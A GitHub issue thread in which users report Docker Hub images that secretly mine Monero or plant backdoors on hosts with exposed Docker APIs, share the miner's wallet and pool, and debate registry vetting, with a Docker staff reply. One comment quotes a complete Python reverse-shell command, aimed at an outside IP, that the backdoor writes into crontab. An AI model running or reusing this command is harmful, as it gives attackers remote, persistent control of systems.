New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[dockmylife/memorytest] Report malicious image #1121

Open
Platzii opened this Issue Aug 7, 2017 · 28 comments

Comments

Projects
None yet
@Platzii

Platzii commented Aug 7, 2017

Hi all

I would like to report this malicious image: https://hub.docker.com/r/dockmylife/memorytest/
It contains a miner for Monero.

This got deployed on one of our servers which a faulty firewall setting (Docker API port was exposed accidentally). This means the "creators" of the image are actively scanning the Internet for exposed Docker APIs in order to run this image on them.

The container keeps spinning up even after firewall fix and deleting the container and image. In order to stop it, the Docker daemon needs to be restarted.

Kind regards
Simon

@linzehuan

This comment has been minimized.

Show comment
Hide comment
@linzehuan

linzehuan commented Aug 7, 2017

Me to!

@sebs

This comment has been minimized.

Show comment
Hide comment
@sebs

sebs Aug 7, 2017

we can investigate the image and find at least the addresses and maybe a mining pool this is assigned to?

sebs commented Aug 7, 2017

we can investigate the image and find at least the addresses and maybe a mining pool this is assigned to?

@0cjs

This comment has been minimized.

Show comment
Hide comment
@0cjs

0cjs Aug 7, 2017

You probably want to completely wipe and reinstall that host that was running Docker; access to the Docker daemon can be exploited to get root access on the system running it.

0cjs commented Aug 7, 2017

You probably want to completely wipe and reinstall that host that was running Docker; access to the Docker daemon can be exploited to get root access on the system running it.

@mrVragec

This comment has been minimized.

Show comment
Hide comment
@mrVragec

mrVragec Aug 8, 2017

In my case I found out address and mining pool in docker container info.

Address: 47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3
Mining pool: http://minexmr.com

That was in my case.

mrVragec commented Aug 8, 2017

In my case I found out address and mining pool in docker container info.

Address: 47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3
Mining pool: http://minexmr.com

That was in my case.

@Platzii

This comment has been minimized.

Show comment
Hide comment
@Platzii

Platzii Aug 8, 2017

Same,

"pool_address" : "pool.minexmr.com:7777",
"wallet_address" : "47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3",
"pool_password" : "x",

Platzii commented Aug 8, 2017

Same,

"pool_address" : "pool.minexmr.com:7777",
"wallet_address" : "47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3",
"pool_password" : "x",
@Shredder121

This comment has been minimized.

Show comment
Hide comment
@Shredder121

Shredder121 Aug 8, 2017

An interesting observation I did yesterday (right about 16 hours ago already by now).

The image had 100K+ pulls, yet 0 stars
Maybe use that as a heuristic that something is wrong, or that it should be looked at?

Shredder121 commented Aug 8, 2017

An interesting observation I did yesterday (right about 16 hours ago already by now).

The image had 100K+ pulls, yet 0 stars
Maybe use that as a heuristic that something is wrong, or that it should be looked at?

@pquerner

This comment has been minimized.

Show comment
Hide comment
@pquerner

pquerner Aug 8, 2017

Stars may be faked by bots, if you take that into heuristic analysis.

pquerner commented Aug 8, 2017

Stars may be faked by bots, if you take that into heuristic analysis.

@Shredder121

This comment has been minimized.

Show comment
Hide comment
@Shredder121

Shredder121 Aug 8, 2017

Good point, good point indeed.
Just wanted to add my 2 cents.

Shredder121 commented Aug 8, 2017

Good point, good point indeed.
Just wanted to add my 2 cents.

@TacticalCode

This comment has been minimized.

Show comment
Hide comment
@TacticalCode

TacticalCode Aug 8, 2017

Are images on Docker Hub tested for malware in any way? I think a sandbox test, just to look for IP connections, or scanning open ports, should filter off the majority of troublemakers. For now...
I'd certainly be happy to see as public information on DockerHub what IP connections an images establishes when booted up, and what ports are being opened.
A memcheck image that establishes any IP connection is (or should be) suspicous enough to halt the public release on DockerHub, until the image creator gives a statement.

TacticalCode commented Aug 8, 2017

Are images on Docker Hub tested for malware in any way? I think a sandbox test, just to look for IP connections, or scanning open ports, should filter off the majority of troublemakers. For now...
I'd certainly be happy to see as public information on DockerHub what IP connections an images establishes when booted up, and what ports are being opened.
A memcheck image that establishes any IP connection is (or should be) suspicous enough to halt the public release on DockerHub, until the image creator gives a statement.

@Platzii

This comment has been minimized.

Show comment
Hide comment
@Platzii

Platzii Aug 8, 2017

I don't think you can blame the image, what if you really want to containerise a miner? Although I agree on the misleading image name.

In the meanwhile I've noticed the image has been removed but what keeps the creators of it away to create the same image with another name?

The real issue here is the exposed Docker API. As mentioned by @Shredder121 the image had more than 100K+ pulls, so a lot of APIs are exposed. This can be abused a lot more than just running a miner..

Platzii commented Aug 8, 2017

I don't think you can blame the image, what if you really want to containerise a miner? Although I agree on the misleading image name.

In the meanwhile I've noticed the image has been removed but what keeps the creators of it away to create the same image with another name?

The real issue here is the exposed Docker API. As mentioned by @Shredder121 the image had more than 100K+ pulls, so a lot of APIs are exposed. This can be abused a lot more than just running a miner..

@sebs

This comment has been minimized.

Show comment
Hide comment
@sebs

sebs Aug 8, 2017

the way monero works, there is a private key required to see the balance contents of and transaction. The pool password is interesting

sebs commented Aug 8, 2017

the way monero works, there is a private key required to see the balance contents of and transaction. The pool password is interesting

@Fusl

This comment has been minimized.

Show comment
Hide comment
@Fusl

Fusl Aug 8, 2017

The real issue here is the exposed Docker API.

This. It is possible to deploy a private registry server for storing the malicious image instead of using the Docker Hub. Removing the image from the Docker Hub does not fix the actual problem that the administrators themself have caused by exposing the API port without actually knowing what they're doing. This is literally the same as blaming your favorite Linux flavor for hosting applications in their repositories, allowing attackers to run arbitrary code while it was actually you who set the root password to test with SSH configured on a public interface and password authentication enabled.

802

Fusl commented Aug 8, 2017

The real issue here is the exposed Docker API.

This. It is possible to deploy a private registry server for storing the malicious image instead of using the Docker Hub. Removing the image from the Docker Hub does not fix the actual problem that the administrators themself have caused by exposing the API port without actually knowing what they're doing. This is literally the same as blaming your favorite Linux flavor for hosting applications in their repositories, allowing attackers to run arbitrary code while it was actually you who set the root password to test with SSH configured on a public interface and password authentication enabled.

802

@FlorianHeigl

This comment has been minimized.

Show comment
Hide comment
@FlorianHeigl

FlorianHeigl Aug 11, 2017

@TacticalCode things that get massive dev adoption:

  • something that avoids good practice.
  • something that avoids security.
  • something where you can armchair discuss how security should be done while doing nothing.
  • something that let's people run stuff right off the internet.

FlorianHeigl commented Aug 11, 2017

@TacticalCode things that get massive dev adoption:

  • something that avoids good practice.
  • something that avoids security.
  • something where you can armchair discuss how security should be done while doing nothing.
  • something that let's people run stuff right off the internet.
@jack0

This comment has been minimized.

Show comment
Hide comment
@jack0

jack0 Sep 1, 2017

We encountered this, also a malicious image. Shows the same pattern 100K+ pulls and 0 stars.

https://hub.docker.com/r/docker123321/tomcat/

It executes this command to create a backdoor:
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"98.142.140.13\\\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab

jack0 commented Sep 1, 2017

We encountered this, also a malicious image. Shows the same pattern 100K+ pulls and 0 stars.

https://hub.docker.com/r/docker123321/tomcat/

It executes this command to create a backdoor:
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"98.142.140.13\\\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab

@lillypad

This comment has been minimized.

Show comment
Hide comment
@lillypad

lillypad commented May 8, 2018

@jack0 And this user is still up on Docker Hub in 2018 docker123321

https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html

@TecumsehSamp

This comment has been minimized.

Show comment
Hide comment
@TecumsehSamp

TecumsehSamp Jun 15, 2018

Do you guys actually check what you're pulling? Also just stop exposing the API.

TecumsehSamp commented Jun 15, 2018

Do you guys actually check what you're pulling? Also just stop exposing the API.

@AdityaAnand1

This comment has been minimized.

Show comment
Hide comment
@AdityaAnand1

AdityaAnand1 Jun 15, 2018

Now everyone who read the article will come here and wake up the people who forgot about this for about a year lol

AdityaAnand1 commented Jun 15, 2018

Now everyone who read the article will come here and wake up the people who forgot about this for about a year lol

@deadbits

This comment has been minimized.

Show comment
Hide comment
@deadbits

deadbits Jun 15, 2018

Everyone should hopefully know to check what they are downloading and running first, sure, but I'd also hope that Docker could perform some checks to ensure the image is what is says, and is only what it says.

This has been going on for quite awhile and so far I don't see anyone from Hub here with comments on how this could be addressed going forward.

But these problems in this ticket aren't coming from some user created private registry... It's Docker Hub and bad actors uploading images to Hub without any checks in place to ensure validity.

Docker Hub here is essentially a free for all for hosting backdoored or straight up malicious images with purposely misleading names, all going un-monitored, and not being taken down after months of user complaints.

I'd be interested to see how wide spread this abuse actually is, because I imagine it's much higher than the handful of publicity noted cases linked in this thread.

deadbits commented Jun 15, 2018

Everyone should hopefully know to check what they are downloading and running first, sure, but I'd also hope that Docker could perform some checks to ensure the image is what is says, and is only what it says.

This has been going on for quite awhile and so far I don't see anyone from Hub here with comments on how this could be addressed going forward.

But these problems in this ticket aren't coming from some user created private registry... It's Docker Hub and bad actors uploading images to Hub without any checks in place to ensure validity.

Docker Hub here is essentially a free for all for hosting backdoored or straight up malicious images with purposely misleading names, all going un-monitored, and not being taken down after months of user complaints.

I'd be interested to see how wide spread this abuse actually is, because I imagine it's much higher than the handful of publicity noted cases linked in this thread.

@rodizio1

This comment has been minimized.

Show comment
Hide comment
@rodizio1

rodizio1 Jun 16, 2018

Why do you guys still host a backdoored image 9 months after somebody told you about it?

rodizio1 commented Jun 16, 2018

Why do you guys still host a backdoored image 9 months after somebody told you about it?

@flushentitypacket

This comment has been minimized.

Show comment
Hide comment
@flushentitypacket

flushentitypacket Jun 22, 2018

@deadbits Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this. You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded. Docker Hub is not an anti-malware service and should not have to pay that cost.

That said, I do think that Docker Hub (and any other package hosting service, e.g. npm) provides the uneducated developer a really powerful and easy to use footgun. Hopefully, the community can put their heads together and make it a bit harder for devs to shoot themselves in the foot.

flushentitypacket commented Jun 22, 2018

@deadbits Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this. You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded. Docker Hub is not an anti-malware service and should not have to pay that cost.

That said, I do think that Docker Hub (and any other package hosting service, e.g. npm) provides the uneducated developer a really powerful and easy to use footgun. Hopefully, the community can put their heads together and make it a bit harder for devs to shoot themselves in the foot.

@deadbits

This comment has been minimized.

Show comment
Hide comment
@deadbits

deadbits Jun 23, 2018

@flushentitypacket

Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this.

I'll have to give some thought to what checks could be performed. Also, just a side note here, but putting "checks" and "ensure validity" in quotes from my original posts content is an attempt by you to diminish the concept in general, which isn't incredibly productive for anyone. If you immediately dismiss the idea at large, then no wonder you see it as an unrealistic problem.

Static and dynamic security scans are built into many CI/CD pipelines and exist for almost every language / platform. I'm sure something can be imagined that would not but a huge burden on Docker Hub and better the security of uploaded images overall.

You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded.

If you can define what qualifies as a malicious image, you wouldn't need users to manually look at the source of every image - it seems this could be automated during upload if malicious attributes could be defined.

Docker Hub is not an anti-malware service and should not have to pay that cost.

Docker Hub also shouldn't be openly hosting malware, especially not for over a year after it's been reported to them. Whether they simply get better at abuse complaints or provide some post-upload analysis, it's pretty clear that something should probably be done.

deadbits commented Jun 23, 2018

@flushentitypacket

Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this.

I'll have to give some thought to what checks could be performed. Also, just a side note here, but putting "checks" and "ensure validity" in quotes from my original posts content is an attempt by you to diminish the concept in general, which isn't incredibly productive for anyone. If you immediately dismiss the idea at large, then no wonder you see it as an unrealistic problem.

Static and dynamic security scans are built into many CI/CD pipelines and exist for almost every language / platform. I'm sure something can be imagined that would not but a huge burden on Docker Hub and better the security of uploaded images overall.

You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded.

If you can define what qualifies as a malicious image, you wouldn't need users to manually look at the source of every image - it seems this could be automated during upload if malicious attributes could be defined.

Docker Hub is not an anti-malware service and should not have to pay that cost.

Docker Hub also shouldn't be openly hosting malware, especially not for over a year after it's been reported to them. Whether they simply get better at abuse complaints or provide some post-upload analysis, it's pretty clear that something should probably be done.

@FlorianHeigl

This comment has been minimized.

Show comment
Hide comment
@FlorianHeigl

FlorianHeigl Jun 23, 2018

The question if checks can be done is one that had to be asked when the product was created.
If there's no answer, there can't be a public product with public upload.
This isn't the users' concern, and does not go away simply by hitting them on the head saying "but it's not an official image".
If someone provides a platform that can be filled with crap by malicious actors and has no checks in place, they have the problem. They created the problem.

Assuming that everyone still thinks this part (running untrusted crap because there's no official version or one doesn't use their brain at all) of the plaform (that solved the 2003-era problem of managing image sprawl) is valuable, then a solution has to be sought and enforced by default.

Of course it'll not be absolute.
Yet, the current one IS absolute:

  • Doing absolutely nothing and
  • giving absolutely no attention to reports within reasonable time,
  • doing absolutely no post-action after the repo is deleted,
  • announcing absolutely nothing to work as a stopgap until more reliable solutions have been found.

If anyone here needs to understand the concept of being responsible for what one provides, call your parents, unless they also only have friends who work in sw eng.

Symptom fixes

Like, things that have been tried one or two times. They are not absolute, but seem to work on the level that is needed to have a society?

  • signup actually verifies people
  • vetting (don't show up in every search on the client, but is visible in hub)
  • warning if low vetting displayed and blocks build until ACKed
  • listing what random parts are being downloaded, at least from the dockerfile itself

FlorianHeigl commented Jun 23, 2018

The question if checks can be done is one that had to be asked when the product was created.
If there's no answer, there can't be a public product with public upload.
This isn't the users' concern, and does not go away simply by hitting them on the head saying "but it's not an official image".
If someone provides a platform that can be filled with crap by malicious actors and has no checks in place, they have the problem. They created the problem.

Assuming that everyone still thinks this part (running untrusted crap because there's no official version or one doesn't use their brain at all) of the plaform (that solved the 2003-era problem of managing image sprawl) is valuable, then a solution has to be sought and enforced by default.

Of course it'll not be absolute.
Yet, the current one IS absolute:

  • Doing absolutely nothing and
  • giving absolutely no attention to reports within reasonable time,
  • doing absolutely no post-action after the repo is deleted,
  • announcing absolutely nothing to work as a stopgap until more reliable solutions have been found.

If anyone here needs to understand the concept of being responsible for what one provides, call your parents, unless they also only have friends who work in sw eng.

Symptom fixes

Like, things that have been tried one or two times. They are not absolute, but seem to work on the level that is needed to have a society?

  • signup actually verifies people
  • vetting (don't show up in every search on the client, but is visible in hub)
  • warning if low vetting displayed and blocks build until ACKed
  • listing what random parts are being downloaded, at least from the dockerfile itself
@flushentitypacket

This comment has been minimized.

Show comment
Hide comment
@flushentitypacket

flushentitypacket Jun 25, 2018

@deadbits Apologies if it came across that way, I was intending to use quotes as quotes are normally intended (as a quote from the original author), not to express sarcasm or tone. Except in the case of "malicious image", in which I was indicating that the term does not have exact definition.

Could be that I'm overestimating how much work it is to perform the types of checks you're describing, but it sure sounds pretty tough to me. As others have said, having something like a crypto miner in an image is a perfectly valid use case, so that alone is not a good indicator of malice. Or even a combination of software XYZ + crypto miner--what if the author's intent is that the user may donate to the author by running the software as-is (or they may choose to remove the crypto miner as an opt-out)?

All that said, I do hope that there is something that can be done to help people not to shoot themselves in the foot. I'm just pessimistic that there are many low-hanging fruit

flushentitypacket commented Jun 25, 2018

@deadbits Apologies if it came across that way, I was intending to use quotes as quotes are normally intended (as a quote from the original author), not to express sarcasm or tone. Except in the case of "malicious image", in which I was indicating that the term does not have exact definition.

Could be that I'm overestimating how much work it is to perform the types of checks you're describing, but it sure sounds pretty tough to me. As others have said, having something like a crypto miner in an image is a perfectly valid use case, so that alone is not a good indicator of malice. Or even a combination of software XYZ + crypto miner--what if the author's intent is that the user may donate to the author by running the software as-is (or they may choose to remove the crypto miner as an opt-out)?

All that said, I do hope that there is something that can be done to help people not to shoot themselves in the foot. I'm just pessimistic that there are many low-hanging fruit

@jmwong

This comment has been minimized.

Show comment
Hide comment
@jmwong

jmwong Jun 28, 2018

We would like to apologize for the delay in responding to this thread. We have removed the reported repositories. Our team is hard at work to improve the user experience on Docker Hub.

As with any public repositories, Docker Hub is there for the service of the community. When dealing with open public repositories and open source code, we recommend that you follow a few best practices. We recommend that users use curated official images in Docker Hub and certified content in Docker Store whenever possible. For community images, verify the content author and inspect the content of the image before running.

Docker does not normally police community images unless they contain illegal content. We do, however, employ dedicated teams to curate official images on Docker Hub and certified images on Docker Store. All official images on Docker Hub (https://hub.docker.com/official/) are actively scanned for vulnerabilities. The security scanning results are available on each tag. Most popular images are available as official images, including nginx, tomcat, mysql, and 100+ others. You can read more about how we keep official images secure here: https://docs.docker.com/docker-hub/official_repos/#how-do-i-know-the-official-repositories-are-secure

Apart from official images on Docker Hub, Docker Store hosts images published by qualified publishers. Our teams ensure that certified images on Docker Store meet certain quality and security criteria. You can read more about Docker Store here: https://docs.docker.com/docker-store/#how-is-docker-store-different-from-docker-hub-what-about-official-images.

jmwong commented Jun 28, 2018

We would like to apologize for the delay in responding to this thread. We have removed the reported repositories. Our team is hard at work to improve the user experience on Docker Hub.

As with any public repositories, Docker Hub is there for the service of the community. When dealing with open public repositories and open source code, we recommend that you follow a few best practices. We recommend that users use curated official images in Docker Hub and certified content in Docker Store whenever possible. For community images, verify the content author and inspect the content of the image before running.

Docker does not normally police community images unless they contain illegal content. We do, however, employ dedicated teams to curate official images on Docker Hub and certified images on Docker Store. All official images on Docker Hub (https://hub.docker.com/official/) are actively scanned for vulnerabilities. The security scanning results are available on each tag. Most popular images are available as official images, including nginx, tomcat, mysql, and 100+ others. You can read more about how we keep official images secure here: https://docs.docker.com/docker-hub/official_repos/#how-do-i-know-the-official-repositories-are-secure

Apart from official images on Docker Hub, Docker Store hosts images published by qualified publishers. Our teams ensure that certified images on Docker Store meet certain quality and security criteria. You can read more about Docker Store here: https://docs.docker.com/docker-store/#how-is-docker-store-different-from-docker-hub-what-about-official-images.

@bakrowork

This comment has been minimized.

Show comment
Hide comment

bakrowork commented Jun 28, 2018

+1 here: RD17/ambar#171

@hawran

This comment has been minimized.

Show comment
Hide comment
@hawran

hawran Jul 15, 2018

@jmwong commented
We would like to apologize for the delay in responding to this thread.

Well,

@Platzii opened this Issue on Aug 7, 2017...

hawran commented Jul 15, 2018

@jmwong commented
We would like to apologize for the delay in responding to this thread.

Well,

@Platzii opened this Issue on Aug 7, 2017...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment